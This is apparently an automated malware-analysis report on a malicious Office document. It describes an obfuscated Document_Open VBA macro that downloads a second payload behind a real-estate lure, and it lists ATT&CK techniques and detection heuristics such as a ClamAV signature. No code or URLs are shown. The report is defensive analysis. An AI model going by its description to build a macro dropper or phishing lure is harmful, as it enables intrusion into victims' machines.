MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro's code is obfuscated but appears to be designed to download and execute a secondary payload, as indicated by the ClamAV detection and the presence of numerous URLs within the document body and extracted scripts. The specific URLs extracted are likely related to the lure content, which appears to be real estate listings.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
